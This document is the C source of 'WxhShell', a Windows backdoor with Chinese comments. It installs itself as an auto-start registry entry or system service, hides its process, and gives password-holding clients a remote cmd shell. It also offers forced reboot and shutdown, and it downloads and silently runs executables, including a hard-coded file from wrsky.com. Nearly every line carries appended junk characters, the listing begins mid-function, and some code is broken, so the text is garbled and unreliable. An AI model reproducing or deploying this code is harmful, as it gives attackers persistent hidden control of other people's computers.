    if(Boot(SHUTDOWN)) q{+Pf/M5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10e~Yc  
    else { 5*Y(%I<  
    closesocket(wsh); &\M<>>IB  
    ExitThread(0); ]9NA3U7F  
    } .0'FW!;FV  
    break; O/PO?>@-/  
    } xU;;@9X  
  // 获取shell &X OFc.u  
  case 's': { 3etW4  
    CmdShell(wsh); 5TS&NefM  
    closesocket(wsh); ps3jw*QZ{5  
    ExitThread(0); p`06%"#  
    break; NN@'79x  
  } phqmr5s^H  
  // 退出 L~>~a1p!  
  case 'x': {  <]h?_)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <K zEn+  
    CloseIt(wsh); ])NQzgS  
    break; )V?:qCuY>  
    } ($r-&]y  
  // 离开 Ni-@El99  
  case 'q': { i9j#Tu93 f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YGf<!  
    closesocket(wsh); x /E<@?*:  
    WSACleanup(); 8zzY;3^h;  
    exit(1); 2*ByVK  
    break; B6xM#)  
        } VH7nyqEM  
  } 2c1L[]h'  
  } 'j(F=9)  
fuF!3Q  
  // 提示信息 <S68UN(Ke  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VHqHG`}:  
} 6,a:s:$>}R  
  } SZ(]su:  
`R6dnbH  
  return; yr/G1?k%ML  
} ZGj ^,?a  
pq$-s7#  
// shell模块句柄 m6Mko2  
int CmdShell(SOCKET sock) "kd)dy95H  
{ B nUWg ^E  
STARTUPINFO si; ]I'dnd3e  
ZeroMemory(&si,sizeof(si)); +FJ+,|i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w?:tce   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cB=ExD.Q  
PROCESS_INFORMATION ProcessInfo; ,=V9 ?  
char cmdline[]="cmd"; mLm?yb:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "Tz'j}< 9C  
  return 0; ~sT1J|  
} `IV7\}I|  
YpI|=mv  
// 自身启动模式 n#^ii/H  
int StartFromService(void) =~_  
{ gy>B 5ie  
typedef struct %z~=Jz^  
{ L Q0e@5  
  DWORD ExitStatus; Kv9Z.DY  
  DWORD PebBaseAddress; .F},Z[a&  
  DWORD AffinityMask; f~ wgMp.W0  
  DWORD BasePriority; _Wqy,L;J  
  ULONG UniqueProcessId; +\]Gu(z<  
  ULONG InheritedFromUniqueProcessId; {$g3R@f^~  
}   PROCESS_BASIC_INFORMATION; zf;sdQ;4  
h8dFW"cpC  
PROCNTQSIP NtQueryInformationProcess; EKus0"|  
Z C<+BKS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JED\"(d(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rCUGaf~  
Ad&VOh+0  
  HANDLE             hProcess; F1meftK  
  PROCESS_BASIC_INFORMATION pbi; p(6 sN=  
_\na9T~g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pX+4B=*  
  if(NULL == hInst ) return 0;  />6ECT  
tI)|y?q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5] LfJh+"n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (x fN=Te,-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yzT4D>1,  
k%BU&%?1  
  if (!NtQueryInformationProcess) return 0; Y_K W9T_  
d f!i}L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u*/+cT  
  if(!hProcess) return 0; P V:J>!]  
H@1}_d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zz /4 ()u  
&r\8VEZq"  
  CloseHandle(hProcess); R0%M9;>1  
?~b(iZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sn"z'=ch  
if(hProcess==NULL) return 0; HItNd  
yzv"sd[8N  
HMODULE hMod; c_8<N7 C  
char procName[255]; MqJ5|C.q  
unsigned long cbNeeded; J ZkQ/vp(  
z:4_f:70  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :AS`1\ C  
Qe{w)e0}`  
  CloseHandle(hProcess); 2?SbkU/3|P  
^Kg n:l  
if(strstr(procName,"services")) return 1; // 以服务启动 U (#JC(E-#  
xJ2I@*DN  
  return 0; // 注册表启动 x x4GP2  
} [}]yJ+)  
- Z`RKR8C  
// 主模块 9! /kyyU  
int StartWxhshell(LPSTR lpCmdLine) 2 rr=FJ  
{ P:t .Nr"  
  SOCKET wsl; S>r",S  
BOOL val=TRUE; +D:8r|evH  
  int port=0; nQoQNB  
  struct sockaddr_in door; @0 /qP<E  
?:ZB'G{%E  
  if(wscfg.ws_autoins) Install(); w7o`B R  
vj]>X4'i  
port=atoi(lpCmdLine); a5GLbanF  
4A6Yl6\Y  
if(port<=0) port=wscfg.ws_port; U!`iKy-  
s<)lC;#e  
  WSADATA data; C!a1.&HHZ7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kJp~'\b  
}&t>j[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p*&0d@'r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ##*]2Dy  
  door.sin_family = AF_INET; +)iMJ]>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Iz5NA0[=2  
  door.sin_port = htons(port); GD{L$#i!  
X 3$ W60Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cq"KKuf  
closesocket(wsl); n+Kv^Y`qxO  
return 1; 0n}13u=}  
} XS[L-NHG  
dy&UF,l6  
  if(listen(wsl,2) == INVALID_SOCKET) { %)x9u$4W2  
closesocket(wsl); w{6C4~0  
return 1; sa(.Anmlj  
} \ph.c*c  
  Wxhshell(wsl); RhH 1nf2UR  
  WSACleanup(); K"H\gmV_ g  
4=xi)qF/@  
return 0; -f)fiQ-<  
La;G S  
} 15\m.Ix  
l9Ir@.m  
// 以NT服务方式启动 #Ub_m@@ 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kg[%Q]]  
{ T)rE#"_]{  
DWORD   status = 0; .p&@;fZ  
  DWORD   specificError = 0xfffffff; ,erf{"Nh  
IW 3k{z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,vJt!}}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hM Dd*<%l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U]iI8c  
  serviceStatus.dwWin32ExitCode     = 0; hfaU-IPcFX  
  serviceStatus.dwServiceSpecificExitCode = 0; d,b4q&^X8  
  serviceStatus.dwCheckPoint       = 0; \^c4v\s<o#  
  serviceStatus.dwWaitHint       = 0; <+i(CGw  
GiV %Hcx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B7C3r9wj  
  if (hServiceStatusHandle==0) return; =|S%Rzsk  
!Rn6x $_  
status = GetLastError(); 8Xot ly  
  if (status!=NO_ERROR) ~&i4FuK  
{ BBB@M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W)In.?>]W  
    serviceStatus.dwCheckPoint       = 0; HTJ2D@h  
    serviceStatus.dwWaitHint       = 0; Je1d|1!3  
    serviceStatus.dwWin32ExitCode     = status; "is(  
    serviceStatus.dwServiceSpecificExitCode = specificError; = xO03|T;6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $YL9 vJV  
    return; 0 &zp  
  } +I3jI <  
UN]gn>~j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K,E/.Qe\C  
  serviceStatus.dwCheckPoint       = 0; A`c%p7Z%  
  serviceStatus.dwWaitHint       = 0; Ps!MpdcL3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;c(a)_1  
} 1 em,/> "  
za>UE,?h  
// 处理NT服务事件,比如:启动、停止 t]yxLl\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OXEk{#Uf[3  
{ LKIMT  
switch(fdwControl) =3e7n2N)  
{ >XD?zF)6  
case SERVICE_CONTROL_STOP: U0~_'&Fe  
  serviceStatus.dwWin32ExitCode = 0; ?\}Gi(VVE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { "y/;x/  
  serviceStatus.dwCheckPoint   = 0; _R4}\3}!  
  serviceStatus.dwWaitHint     = 0; 9%!h/m>rW  
  { [ GLH8R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > H!sD\b  
  } m>@hh#kBg  
  return; 3o<d= @`r  
case SERVICE_CONTROL_PAUSE: )dXa:h0RZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _bFUr  
  break; M";qo6  
case SERVICE_CONTROL_CONTINUE: p4' .1.@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &`"DG$N(  
  break; $*yYmF  
case SERVICE_CONTROL_INTERROGATE: *]6g-E?:@  
  break; o.+;]i}D  
}; Dp@XAyiA[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ZHjP_5Q  
} PobX;Z  
gq+SM  i=  
// 标准应用程序主函数 FaL\6w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1 ^~&"s U  
{ bjZJP\6  
067c/ c  
// 获取操作系统版本 {keZ_2  
OsIsNt=GetOsVer(); 1|bXIY.J*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +#}GmUwPG$  
eA/n.V$z  
  // 从命令行安装 $@g]?*L:  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~6[?=mOi'  
p@ <Q?  
  // 下载执行文件 hnnB4]c  
if(wscfg.ws_downexe) { 0Y.z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kl1v^3\{  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7+O)AU{  
} )`u17 {  
KII{GDR]  
if(!OsIsNt) { a:kAo0@":j  
// 如果时win9x,隐藏进程并且设置为注册表启动 D31X {dJ  
HideProc(); pGbfdX  
StartWxhshell(lpCmdLine); i! .]U@{k  
} |LHJRP-Z  
else :ym?]EL4o  
  if(StartFromService()) SeX]|?D  
  // 以服务方式启动 !FEc:qH  
  StartServiceCtrlDispatcher(DispatchTable); wq)*bIv  
else 4>JSZ6i#n  
  // 普通方式启动 Kkvc Zs'4m  
  StartWxhshell(lpCmdLine); L 4By5)  
o3J#hQrl  
return 0; H;Wrcf2  
} }0'=}BE  
3]Z1kB  
 N5 ME_)  
Ltlp9 S  
=========================================== w:&" "'E  
2M %j-yG"  
W5*ldXXk  
5{ c;I<0  
&?<uR)tl  
X Xque-  
" dkQ4D2W*\  
(jc@8@Wo.  
#include <stdio.h> <2$vo  
#include <string.h> #mxOwvJ  
#include <windows.h> !Sc"V.o @!  
#include <winsock2.h> CSM"Kz`  
#include <winsvc.h> AIF ?>wgq  
#include <urlmon.h> { 3G  
v 6~9)\!j  
#pragma comment (lib, "Ws2_32.lib") 222 Y?3>@D  
#pragma comment (lib, "urlmon.lib") : 4ryi&Y  
}:Z.g  
#define MAX_USER   100 // 最大客户端连接数 M'*s5:i  
#define BUF_SOCK   200 // sock buffer Q$%apL  
#define KEY_BUFF   255 // 输入 buffer C$[d~1t6  
d&AG~,&d|  
#define REBOOT     0   // 重启  Nx}nOm  
#define SHUTDOWN   1   // 关机 *PJH&g#Ge  
ZU4=&K  
#define DEF_PORT   5000 // 监听端口 @rl5k(  
r- 8Awa  
#define REG_LEN     16   // 注册表键长度 ^y+k6bE  
#define SVC_LEN     80   // NT服务名长度 mdi!Q1pS  
X5 vMY  
// 从dll定义API ,jU>V]YC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +^.Yt0}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u mYsO.8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]so/AdT9hA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m`yvZ4K!  
>m%_`68  
// wxhshell配置信息 "1O_h6 C  
struct WSCFG { n,N->t$i  
  int ws_port;         // 监听端口 #bOv}1,s  
  char ws_passstr[REG_LEN]; // 口令 M/ 3;-g  
  int ws_autoins;       // 安装标记, 1=yes 0=no m+QS -woHn  
  char ws_regname[REG_LEN]; // 注册表键名 #s)f3HU>  
  char ws_svcname[REG_LEN]; // 服务名 o9kJ90{D=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,K5K?C$k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  H.5 6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 73Dxf -  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !:{Qbv&T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wNB?3v{n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^<;W+dWdU  
AHf 9H?  
}; tUu ' gs|  
5 jrR]X  
// default Wxhshell configuration ~ua(Qm  
struct WSCFG wscfg={DEF_PORT, -[mmT'sS  
    "xuhuanlingzhe", +a,SP   
    1, QiCia#_  
    "Wxhshell", 6pt,]FlU  
    "Wxhshell", qe]D4K8`Q3  
            "WxhShell Service", O=K lc+Oo  
    "Wrsky Windows CmdShell Service", _u]Z+H"  
    "Please Input Your Password: ", 92TuuN#{  
  1, FFT)m^4p.  
  "http://www.wrsky.com/wxhshell.exe", x39tnf/F  
  "Wxhshell.exe" N,`@Q7  
    }; h ldZA  
c`E>7Hjr-  
// 消息定义模块 #MC#K{Xd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &;Ncc,jb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O,$*`RZpx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fB2ILRc  
char *msg_ws_ext="\n\rExit."; ak7%  
char *msg_ws_end="\n\rQuit.";  \XDiw~0  
char *msg_ws_boot="\n\rReboot..."; \f,<\mJ#  
char *msg_ws_poff="\n\rShutdown..."; ?1Nz ,Lc$  
char *msg_ws_down="\n\rSave to "; kQ\GVI11?  
]TvMT  
char *msg_ws_err="\n\rErr!"; j.M]F/j  
char *msg_ws_ok="\n\rOK!"; V&zeC/xSq  
l)r\SE1  
char ExeFile[MAX_PATH]; y-pdAkDh  
int nUser = 0; :zW? O#aL-  
HANDLE handles[MAX_USER]; Z$z-Hx@%  
int OsIsNt; [* xdILj  
7F`\Gz_2  
SERVICE_STATUS       serviceStatus; qlhc"}5x }  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fTxd8an{  
FB k7Cn!  
// 函数声明 Q%CrB>|@  
int Install(void); Q Xd`P4a  
int Uninstall(void); (Mc{nFqS  
int DownloadFile(char *sURL, SOCKET wsh); !t%1G.  
int Boot(int flag); P| NGAd  
void HideProc(void); 5BrN uR$  
int GetOsVer(void); V_i&@<J  
int Wxhshell(SOCKET wsl); `E~"T0RX  
void TalkWithClient(void *cs); Y3@+aA  
int CmdShell(SOCKET sock); ~/^fdGr  
int StartFromService(void); !(*&P  
int StartWxhshell(LPSTR lpCmdLine); m"L^tSD~  
LWrYK i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ("`"?G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d=1\=d/K  
=svFw&q"  
// 数据结构和表定义 JMAdsg/  
SERVICE_TABLE_ENTRY DispatchTable[] = R0t!y3r&N  
{ &XNt/bK -?  
{wscfg.ws_svcname, NTServiceMain}, FQek+[ox  
{NULL, NULL} uc9h}QJ*  
}; 9>{fsy  
`;mgJD  
// 自我安装 h-p}Qil,  
int Install(void) J;sQvPHV8  
{ 7-3  
  char svExeFile[MAX_PATH]; >VhZv75  
  HKEY key; rB J`=oz  
  strcpy(svExeFile,ExeFile); Xl=RaV^X"  
$YJ 1P  
// 如果是win9x系统,修改注册表设为自启动 <*vR_?!  
if(!OsIsNt) { F`KXG$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NXD-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <gPM/ 4$G  
  RegCloseKey(key); C\{A|'l!x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m9h<)D'>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =2q#- ,t  
  RegCloseKey(key); S6bW r0XR  
  return 0; rL<N:@HL  
    } <ppdy,j:  
  } 4{>r_^8  
} s<*+=aIfu  
else { e;v7!X  
dPO"8HQ  
// 如果是NT以上系统,安装为系统服务 CLND[gc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0}GO$%l  
if (schSCManager!=0) 7<LuL  
{ YM#' +wl}`  
  SC_HANDLE schService = CreateService Av.`'.b  
  ( 1PVZGZxAgv  
  schSCManager, 'qVlq5.  
  wscfg.ws_svcname, G/ si( LK  
  wscfg.ws_svcdisp, } :?*n:g5  
  SERVICE_ALL_ACCESS, DXJw)%G w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y/@Bhzc  
  SERVICE_AUTO_START, &q&z$Gc;m  
  SERVICE_ERROR_NORMAL, f (C:J[;Z  
  svExeFile, @l3&vt2=J  
  NULL, :TVo2Zm[@  
  NULL, ,`U>BBBLv  
  NULL,  /$93#$  
  NULL, 7!qeIz  
  NULL a<*+rGI  
  ); '*[7O2\%/  
  if (schService!=0) HFB>0<$  
  { e'~Qe_  
  CloseServiceHandle(schService); Uhu?G0>O  
  CloseServiceHandle(schSCManager); 8K^#$,.."  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xlcCL?qQj  
  strcat(svExeFile,wscfg.ws_svcname);  }<kl3{)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;0Ua t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N[9o6Nl|a  
  RegCloseKey(key); Ri"rT] '  
  return 0; ^WU[+H ;  
    } R;,5LS&*a  
  } shGUG;  
  CloseServiceHandle(schSCManager); ?taC !{  
} uv5NqL&  
} q'fOlq  
RJ'za1@z;b  
return 1; krGIE}5  
} `?T::&`  
@Y,t]  
// 自我卸载 yl*%P3m|  
int Uninstall(void) aQH]hLvs  
{ A|Ft:_Y  
  HKEY key; k %{q q v  
37n2#E  
if(!OsIsNt) { AW;xlY= g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sc3{Y+g  
  RegDeleteValue(key,wscfg.ws_regname);  8\nka5  
  RegCloseKey(key); :bo2H[U+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3hkEjR  
  RegDeleteValue(key,wscfg.ws_regname); r}Vr_  
  RegCloseKey(key); Ww~C[8q  
  return 0; +dCR$<e9r  
  } uJ|,-"~F  
} CVY-U|xFY  
} D,$M$f1  
else { GQ85ykky  
E Id>%0s5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yq/vym-O5  
if (schSCManager!=0) Gqq< -drR  
{ %/)z!}{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A+Bq5mik  
  if (schService!=0) 'xEomo#  
  { (7_ezWSl>  
  if(DeleteService(schService)!=0) { dM,{:eID  
  CloseServiceHandle(schService); +U'n|>t9  
  CloseServiceHandle(schSCManager);  vWW Q/^  
  return 0; A[4HD!9=  
  } j!L7r'AV5  
  CloseServiceHandle(schService); oGXcu?ft  
  } !9qw  
  CloseServiceHandle(schSCManager); o8g] ho  
} H O>3>v  
} "1dpv \  
)#Ecm<.^  
return 1; ^tyqc8&  
} (w_b  
<}mA>c'k  
// 从指定url下载文件 e\#aQ1?"  
int DownloadFile(char *sURL, SOCKET wsh) ?(khoL t  
{ ;p,Kq5,l  
  HRESULT hr; F)l1%F Cm  
char seps[]= "/"; PTpfa*t  
char *token; "T8b.ng  
char *file; daB 5E<?  
char myURL[MAX_PATH]; eMOp}.zt|  
char myFILE[MAX_PATH]; ?t;,Nk`jx  
i*xVD`x~  
strcpy(myURL,sURL); C9Cl$yZ  
  token=strtok(myURL,seps); x wfdJ(&  
  while(token!=NULL) 9e;{o,r@  
  { O|v8.3[cT  
    file=token; t}K8{ V  
  token=strtok(NULL,seps); JBV 06T_4o  
  } G]-\$>5R  
.F/l$4CQ  
GetCurrentDirectory(MAX_PATH,myFILE); fX LsLh+~D  
strcat(myFILE, "\\"); (h&=N a~  
strcat(myFILE, file); IQ JFL +f  
  send(wsh,myFILE,strlen(myFILE),0); GB*^?Ii  
send(wsh,"...",3,0); !bW^G} <t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W9GjUswv!  
  if(hr==S_OK) 3;//o<  
return 0; P=ubCS'  
else j;_E0j#  
return 1; 1"l48NLL|  
b^~4k; <  
} p%Ns f[1>  
So NgDFD  
// 系统电源模块 wG 5H^>6u>  
int Boot(int flag) [MAvU?;  
{ vA?3kfL|#  
  HANDLE hToken; }y|_v^  
  TOKEN_PRIVILEGES tkp; 1LmbXH]%  
h?QGJ^#8  
  if(OsIsNt) { gE23C*!'&:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H'@@%nO (  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "NV~lJS%  
    tkp.PrivilegeCount = 1; f1\mE~#}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mf9x=K9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |l~#qeZ%  
if(flag==REBOOT) { pSx}:u^am  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |UQGZ  
  return 0; Fp+fZU  
} On;7  
else { !'bZ|j%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8[)"+IFN  
  return 0; 9*a"^  
} oC TSV  
  } LD;! s  
  else { 7U)w\A;~  
if(flag==REBOOT) { gp\o|igT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %pxHGO=)E  
  return 0; %8KbVjn  
} cS",Bw\  
else { 5n=~l[O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aO *][;0  
  return 0; 7$kTeKiP  
} +W|VCz  
} 7MX5hZF"  
No'Th7=|S  
return 1; xy^z_`  
} wA";N=i=  
x qj@T^y  
// win9x进程隐藏模块 E**Hu9  
void HideProc(void) UotLJa  
{ T\TKgO=)  
aslb^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~kZ? e1H  
  if ( hKernel != NULL ) DbN_(mC  
  { Vpxsg CS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c*V/2" 5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q/l388'  
    FreeLibrary(hKernel); 0fw>/"v  
  } Zx|VOl,;  
GS,}]c=  
return; Ye\ &_w"  
} [58qC:  
:W[d&e  
// 获取操作系统版本 s&W^?eKr  
int GetOsVer(void) XAUHF-"WE  
{ ;+~Phdy  
  OSVERSIONINFO winfo; 5Noy~;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'DB'lP  
  GetVersionEx(&winfo); V}/AQe2m&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !h+VbZ  
  return 1; )#Id=c  
  else i)M JP*  
  return 0; ugQySg>  
} 6 $5SS#  
bx3kd+J7  
// 客户端句柄模块 QqB9I-_  
int Wxhshell(SOCKET wsl) A~ wVY  
{ Dp;6CGYl?  
  SOCKET wsh; ByW,YKMy  
  struct sockaddr_in client; u [LsH  
  DWORD myID; 9y*pn|A[F  
9y;8JO  
  while(nUser<MAX_USER) (x8D ]a  
{ +`~kt4W  
  int nSize=sizeof(client); Si=u=FI1e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PLQLGb4f_;  
  if(wsh==INVALID_SOCKET) return 1; tQ(gB_  
?`=r@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6cTd SE  
if(handles[nUser]==0) .Za)S5U  
  closesocket(wsh); w7Vl,pN,  
else y (=$z/  
  nUser++;  pytF K)U  
  } Aw7_diK^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Rd*`]@[pk  
sEEyN3 N  
  return 0; W4S! rU  
} =LojRY  
P~OD d(  
// 关闭 socket {*t0WE&1t  
void CloseIt(SOCKET wsh) OVU+V 0w1a  
{ ])$Rw $`w  
closesocket(wsh); vuNq7V*}  
nUser--; &265 B_'D  
ExitThread(0); I@o42%w2  
} x10u?@  
ibQN pIz  
// 客户端请求句柄 05/'qf7P,U  
void TalkWithClient(void *cs) *BAR`+;U  
{ _*LgpZ-2(  
f|'8~C5I@>  
  SOCKET wsh=(SOCKET)cs; PuGc{kt  
  char pwd[SVC_LEN]; eaCh;IpIf  
  char cmd[KEY_BUFF]; 3.<E{E!F  
char chr[1]; xjg(}w  
int i,j; y6N }R  
/m(v5v7(  
  while (nUser < MAX_USER) { ?S~j2 J]  
!ui:0_  
if(wscfg.ws_passstr) { Zsx\GeE%:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q,< V)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pkT26)aW  
  //ZeroMemory(pwd,KEY_BUFF); *_CzCl^   
      i=0; xJ|_R,>.H  
  while(i<SVC_LEN) { 0`%Ask  
We?cRb  
  // 设置超时 g]E>e v{`  
  fd_set FdRead; CH+mzy  
  struct timeval TimeOut; A4hbh$  
  FD_ZERO(&FdRead); O[<0\  
  FD_SET(wsh,&FdRead); /YT _~q=:  
  TimeOut.tv_sec=8; ERz{, >G?  
  TimeOut.tv_usec=0; X>4qL'b:z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hmM2c15T5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :~%{  
m9 D' yXZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]c~W$h+F  
  pwd=chr[0]; IAzi:ct  
  if(chr[0]==0xd || chr[0]==0xa) { ;kb);iT  
  pwd=0; :XaBCF*  
  break; |h* rkLY  
  } b[os0D95  
  i++; R gTrj  
    } o%sx(g=q6  
m%)Cw)t 7  
  // 如果是非法用户,关闭 socket wC`+^>WFo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m)Sdo gt_  
} ^q)AO?_  
B`?}jJa9*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }`^D O Ar  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "z9 p(|oZ  
#[ ?E,  
while(1) { y';"tDFb  
K4K]oT  
  ZeroMemory(cmd,KEY_BUFF); W2T6JFv  
=--oH'P=M  
      // 自动支持客户端 telnet标准   x#c%+  
  j=0; y`8 bx94jB  
  while(j<KEY_BUFF) { A8U\/GP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s>c0K@ADO  
  cmd[j]=chr[0]; 3*!w c.=  
  if(chr[0]==0xa || chr[0]==0xd) { ]@A}v\wa  
  cmd[j]=0; >Pf\"% *  
  break; xnvG5  
  } O =0j I  
  j++; ViYfK7Z  
    } Vh'H =J  
SBh"^q  
  // 下载文件 U2vM|7 ]VP  
  if(strstr(cmd,"http://")) { X(JE]6_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <tto8Y j  
  if(DownloadFile(cmd,wsh)) N977F$B o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "xV0$%  
  else Y4Y~e p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nn='9s9F?}  
  } =>htX(k}  
  else { (Qf. S{;  
HvLx  
    switch(cmd[0]) { A5?q&VS}p  
